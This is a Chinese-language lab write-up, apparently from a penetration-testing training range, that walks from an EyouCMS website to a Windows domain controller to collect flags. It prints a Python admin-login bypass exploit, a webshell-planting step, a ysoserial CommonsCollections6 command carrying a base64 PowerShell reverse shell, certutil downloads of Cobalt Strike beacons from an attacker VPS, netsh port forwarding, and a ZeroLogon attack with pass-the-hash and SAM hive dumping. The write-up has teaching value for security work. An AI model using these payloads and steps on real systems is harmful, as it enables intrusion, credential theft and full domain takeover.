0考核介绍
本次考核最终通过人数七人 达到预期目标
考核内容
本次考核使用在线靶靶场,主要考核从外网打点到内网域渗透的能力。
web:php代码审计 、java反序列化漏洞利用等。
内网:隧道应用、横向渗透、域渗透等 。
难度 中
拓扑图:
1一、Get Webshell
首先打开网站http://216.224.123.190/
从网站底部可以知道用的是EyouCms
知道网站指纹后,网上去搜索是否开源,以及爆出过的历史漏洞
找了一些文章后,做了一些尝试,最后还是发现一个绕过后台登录进入后台的文章比较靠谱
文章:https://www.cnblogs.com/Pan3a/p/14880225.html
利用exp:
from time import time
import requests
class eyoucms_login:
def __init__(self, url):
self.url = url
self.req = requests.session()
self.api_gettoken = 'index.php/?m=api&c=Ajax&a=get_token&name='
self.header = {
'x-requested-with': 'XMLHttpRequest'
}
def get_admin_id(self):
res = self.req.get(self.url + self.api_gettoken + 'admin_id', headers=self.header)
print('admin_id:' + res.text)
print(res.headers['Set-Cookie'])
def get_admin_login_expire(self):
while True:
res = self.req.get(self.url + self.api_gettoken + 'admin_login_expire', headers=self.header)
result = self.login_test()
if result == 'ok':
print('login success')
break
def get_admin_info_role_id(self):
while True:
res = self.req.get(self.url + self.api_gettoken + 'admin_info.role_id', headers=self.header)
if res.text[:1] in ['1', '2', '3', '4', '5', '6', '7', '8', '9']:
pass
else:
print('admin_info.role_id:', res.text)
break
def login_test(self):
res = self.req.get(self.url + 'login.php')
if '管理系统' in res.text:
return 'ok'
def run(self):
self.get_admin_id()
self.get_admin_info_role_id()
self.get_admin_login_expire()
if __name__ == '__main__':
url = 'http://216.224.123.190/'
test = eyoucms_login(url)
test.run()
脚本运行完毕,将得到PHPSESSION作为请求包Cookie中的PHPSESSION进行发送进入后台
而后刷新页面成功进入后台
参考文章:https://www.zilyun.com/31010.html
漏洞存在于 更多功能中的模板管理中
修改template/pc/index.htm模板,将一句话木马写入
在文件末尾写入代码,当访问主页时就会触发改代码,将一句话内容写入到/uploads/allimg/2022buffer.php下
确认提交后访问一下主页后,再去访问webshell页面
2二、内网信息收集,Java反序列化攻击Data服务器
用蚁剑连接上Webshell后尝试执行命令,命令可以执行成功
查看当前用户权限
在目录C:/Users/Administrator/user.txt下轻松拿到第一个flag
mooonsec_flag{moonsec-6d4db5ff0c117864a02827bad3c361b9}
上传CS马上线到CS后继续操作
用CS自带mimikatz抓取账号Hash明文
丢到somd5网站上尝试破解,可以破解出来,但用不上
arp -a 查看通信,发现与192.168.22.146建立过通信
探测目标192.168.22.146端口开放情况,这里扫了全端口,实际不建议这么干
起初针对139,445,5985,47001端口做了许多攻击尝试,攻击无果后最终盯上了9999端口
通过netstat-nt也是能看到本机与目标9999端口建立连接
一开始看到桌面上有个QQClient.jar感觉有点可能也没太在意,最后没辙了转变思路来看看这个jar包,和桌面写着账号密码的txt文件
将jar下载本地,也不反编译了,直接用idea打开里边的字节码文件
其中一个类里就与目标9999端口建立了socket连接
那么猜测目标服务端就对接收的数据进行反序列化了,该项目源码在github上也找的到
源码:https://github.com/Carson-NNY/QQ-Simulation
server端的代码接收数据并进行反序列化,跟一开始的猜想也对上了
接下来就猜测目标的jdk版本及依赖环境,初步列出了urldns,8u20,cc1,cc6利用链
本来想用urldns测试是否能够反序列化成功,结果一直没响应,顾推测目标不出网
不出网就需要22.152Web这台机子起监听,利用powershell反弹上来
最后经过尝试得到了CC6利用链
利用su18师傅写的反序列化工具得到序列化数据,写入到文件当中
工具地址:https://github.com/su18/ysoserial
shell在线生成网址:https://shell.nctry.com/
其中base64内容就是反弹shell至某个端口,这里是反弹至22.152Web服务器的4788端口
java -jar "C:\Users\12593\Desktop\ysuserial-0.9-su18-all.jar" -g CommonsCollections6 -p "powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA5ADIALgAxADYAOAAuADIAMgAuADEANQAyACIALAA0ADcAOAA4ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==" > C:\Users\12593\Desktop\cc66.ser
将cc66.ser文件上传至22.152Web,并上传nc工具
先用msf上线22.152Web后起个nc监听用来接收反弹shell
然后CS将cc66.ser数据发送到目标22.146Data的9999端口
shell type C:\Windows\Temp\cc66.ser | C:\Windows\Temp\nc -nv 192.168.22.1469999
发送成功后,成功上线
查看ip,存在两张网卡
现在将该22.146data上线至CS,需要拿22.152Web作转发
在22.152 Web会话上新建一个转发监听器
并以该监听器生成一个.exe程序,上传至我的vps
将22.152Web 4455端口转发至我的vps4455端口,并在vps起个http服务用于让22.146data下载.exe
netsh interface portproxy add v4tov4 listenport=4455 connectaddress=1.xxx.xxx.40 connectport=4455
22.152data远程下载buffad.exe至本地
certutil -urlcache -split -f http://192.168.22.146:4455/buffad.exeC:\Windows\Temp\buffad.exe
VPS也是成功接收到了请求
而后执行下载的.exe程序上线到CS
成功上线到CS
权限为system
在c:\users\administrator\user.txt拿到第二个flag
3三、CVE-2020-1472-ZeroLogon攻击域控
抓取明文Hash,只有本地用户的,没有域管的
破解出来密码是 QWEasd12300
定位域控
用当前用户密码尝试横向无果,直接使用CVE进行攻击,CVE-2020-1472-ZeroLogon
用CS在22.146data会话上做个socks代理,以便本地可以直接访问到10.10.10.137域控
检测发现存在该漏洞
利用exp将域控密码置为空
继续用脚本获取域控Hash
获取到hash后,利用wmiexec.py登录,获取shell
proxychains python3 wmiexec.py -hashesaad3b435b51404eeaad3b435b51404ee:66120f7b66195b694faeabc4e3b6752dadministrator@10.10.10.137
然后继续将该域控上线至CS,以10.10.10.136data做转发
将192.168.22.146data 4488端口转发至192.168.22.152web 4488端口,继续转发至我的VPS
//192.168.22.146 data 进行操作
netsh interface portproxy add v4tov4 listenport=4488 connectaddress=192.168.22.152 connectport=4488
//192.168.22.152 Web 进行操作
netsh interface portproxy add v4tov4 listenport=4488 connectaddress=1.xxx.xxx.40 connectport=4488ffad.exe
将生成的CS马上传vps,在域控上进行下载
22.146data 另一张网卡为10.10.10.136,域控需要在这个ip段通信
certutil -urlcache -split -f http://10.10.10.136:4488/buffad2.exeC:\Windows\Temp\buffad2.exe
vps上也成功收到请求
运行C:\Windows\Temp\buffad2.exe进行上线
在c:\users\administrator\user.txt拿到最后一个flag
最终整个拓扑
最后记得将域控的hash恢复
导出sam文件到本地
reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save
get system.save
get sam.save
get security.save
del /f system.save
del /f sam.save
del /f security.save
exit
本地使用secretsdump.py获取hash
使用reinstall_original_pw.py将域控的hash恢复
proxychains python3 reinstall_original_pw.py ad 10.10.10.13714520c0c1757302373b1c4a622d81bda143f491e3bfe66db182877859e1351bec9ce21b3211d6a7677bb8f98a4d13b616636d7acd3f67ba2489f4b95ca8bf0af083d43bf0f13cfb44d40352d7503987e9f23547f5e17b1774b6affd5d0e852f3cc2b13c6cbd62d811e711a2e14cc55a91e7b689d3dd52aab02511c6ba4ca9125e99b6b60be01202c366af6ee0dd0a291fb99c2aa2658587867b748eb00934daacf7773e00c27b43b4cb06bf70096505a4814aa604351a75871af53e6e02ce581838979a3eed8ecfc6ad9d791e88909f70740958f834c112ed7f82146b5ffa37e619afa5e34ed365eb3493b1fc3353c76
4关注公众号
公众号长期更新安全类文章,关注公众号,以便下次轻松查阅
觉得文章对你有帮助 请转发 点赞 收藏
5关于培训
需要渗透测试培训
扫一扫添加微信咨询
课程内容点击了解